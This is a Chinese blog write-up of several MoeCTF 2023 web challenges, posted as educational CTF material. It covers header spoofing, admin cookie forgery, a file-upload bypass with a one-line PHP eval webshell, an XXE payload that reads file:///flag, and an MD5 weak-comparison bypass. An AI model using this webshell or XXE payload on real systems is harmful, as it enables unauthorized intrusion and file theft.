当前位置:   article > 正文

2023MoeCTF-WEB题解(持续更新)_666c61673d6257396c5933526d6533637a62454e7662575666

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758

Web入门指北

从文档中获取下面这一串数字:

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d
  • 1

先进行一次16进制解码

flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
  • 1

再对=后面的字符串进行一次base64解码,得到flag

moectf{w3lCome_To_moeCTF_W2b_challengE!!}
  • 1

http

进来看到
在这里插入图片描述
任务1:使用参数 UwU=u

按照指令GET传参 "UwU=u"。
  • 1

任务2:提交表单 form: Luv=u

POST传参 "Luv=u" 
  • 1

任务3:使用管理员角色

cookie改为admin
  • 1

任务4:从 127.0.0.1 发出请求

X-Forwarded-For
  • 1

任务5:使用浏览器 ‘MoeBrowser’

User-Agent
  • 1

在这里插入图片描述
————
在这里插入图片描述

————
在这里插入图片描述
————
在这里插入图片描述

知识烦杂,多做几道类似的题

彼岸的flag

进来看到
在这里插入图片描述

ctrl+u查看源码

在这里插入图片描述
ctrl+f查找moectf

在这里插入图片描述

找到了,看上图最下方

cookie

进来看到
在这里插入图片描述
查看题目给的文件
在这里插入图片描述
api有很多种,这里是提供访问的网址
尝试访问flag,这里要先回到根目录
在这里插入图片描述
提示登录,那我们先注册账号
抓包并发送到Repeater,并且根据文件提示传参
在这里插入图片描述
提示用户已存在,那我们直接去login文件夹尝试登录
在这里插入图片描述
密码错误,只有回去老实地注册账号了
在这里插入图片描述
斗龙战士注册成功,登录
在这里插入图片描述
登录成功(这里记得要把登录时的包给放回浏览器一次,为了设置cookie),再次查看flag文件夹
在这里插入图片描述
提示我们不是管理员,查看cookie,并将cookie进行base64解码一次
在这里插入图片描述
在这里插入图片描述

将cookie改一下,role中的user改为admin
然后进行一次base64编码
在这里插入图片描述
在这里插入图片描述

将cookie改了
在这里插入图片描述

再次访问flag文件夹
在这里插入图片描述

得到flag

gas!gas!gas!

进来看到
在这里插入图片描述

抓包找参数
在这里插入图片描述

测试出
在这里插入图片描述
方向分别对应-1,0,1
在这里插入图片描述
油门分别对应
0,1,2

还需要测出所有的文字描述可能
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
根据此写python脚本

moe图床

进来看到
在这里插入图片描述

查看源代码
在这里插入图片描述

代码审计得,前端检测必须为.png文件

我们直接上传图片马
由<?php @eval($_POST[8]);?>和一张图片组成
已合成:
在这里插入图片描述

上传.png文件,并抓包
在这里插入图片描述

发现文件upload.php
访问
在这里插入图片描述

代码审计
文件名处理部分:

$fileName = $file['name'];: 获取上传文件的原始文件名。
$fileNameParts = explode('.', $fileName);: 使用"."分割文件名,将文件名拆分成多个部分。
  • 1
  • 2

文件名验证:

if (count($fileNameParts) >= 2) { ... }: 如果文件名至少有两个部分,检查第二部分是否为"png",如果不是,返回错误信息。
否则,也返回错误信息,因为文件名没有足够的部分来确定扩展名。
  • 1
  • 2

文件后缀整成.png.php,文件依然为php文件
在这里插入图片描述

上传后得到路径
在这里插入图片描述

连蚁剑
在这里插入图片描述

得到flag
在这里插入图片描述

了解你的座驾

进来看到
在这里插入图片描述

查看源码,找到一段js代码

<script>
		function submitForm(name) {

			var form = document.createElement("form");
			form.method = "post";
			form.action = "index.php";

			var input = document.createElement("input");
			input.type = "hidden";
			input.name = "xml_content";
			input.value = "<xml><name>" + name + "</name></xml>";

			form.appendChild(input);
			document.body.appendChild(form);
			form.submit();
		}
	</script>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

input.value = “” + name + “”;

在这个代码片段中,将用户提供的 name 参数直接插入到 XML 数据中,没有对其进行任何过滤或转义。这意味着如果用户提供了包含外部实体引用的恶意输入,那么这些实体引用可能会被解析,从而触发 XXE 漏洞。

开启抓包,并点击一辆车
在这里插入图片描述

这道题和那些直接插入恶意代码的不同,得传参并进行url编码

这道题用到的恶意代码

<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<xml><name>&xxe;</name></xml>
  • 1
  • 2
  • 3
  • 4

请注意这里的<xml><name> </name></xml>不要随意变动

编码
在这里插入图片描述

%3C!DOCTYPE%20test%20%5B%0A%20%20%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E
  • 1

得到flag
在这里插入图片描述

大海捞针

进来看到

在这里插入图片描述

——————

根据提示传参并抓包扫描1-1000
在这里插入图片描述

可以看到一个返回包的长度不同

可以在返回包内找到flag
在这里插入图片描述

meo图床

进来看到
在这里插入图片描述

我们直接上传图片马
由<?php @eval($_POST[8]);?>和一张图片组成
已合成:
在这里插入图片描述

抓包,改后缀
在这里插入图片描述

上传成功,尝试访问
气死,怎么还是图片
在这里插入图片描述

胡乱改一下参数名
在这里插入图片描述

发现file_get_contents函数,尝试找到flag文件夹
(这个地方在抓一次包)
在这里插入图片描述

发现flag存在的位置,访问
在这里插入图片描述

分析源代码,利用MD5弱类型比较绕过,得到flag

在这里插入图片描述

夺命十三枪

进来看到
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/501696
推荐阅读
相关标签
  

闽ICP备14008679号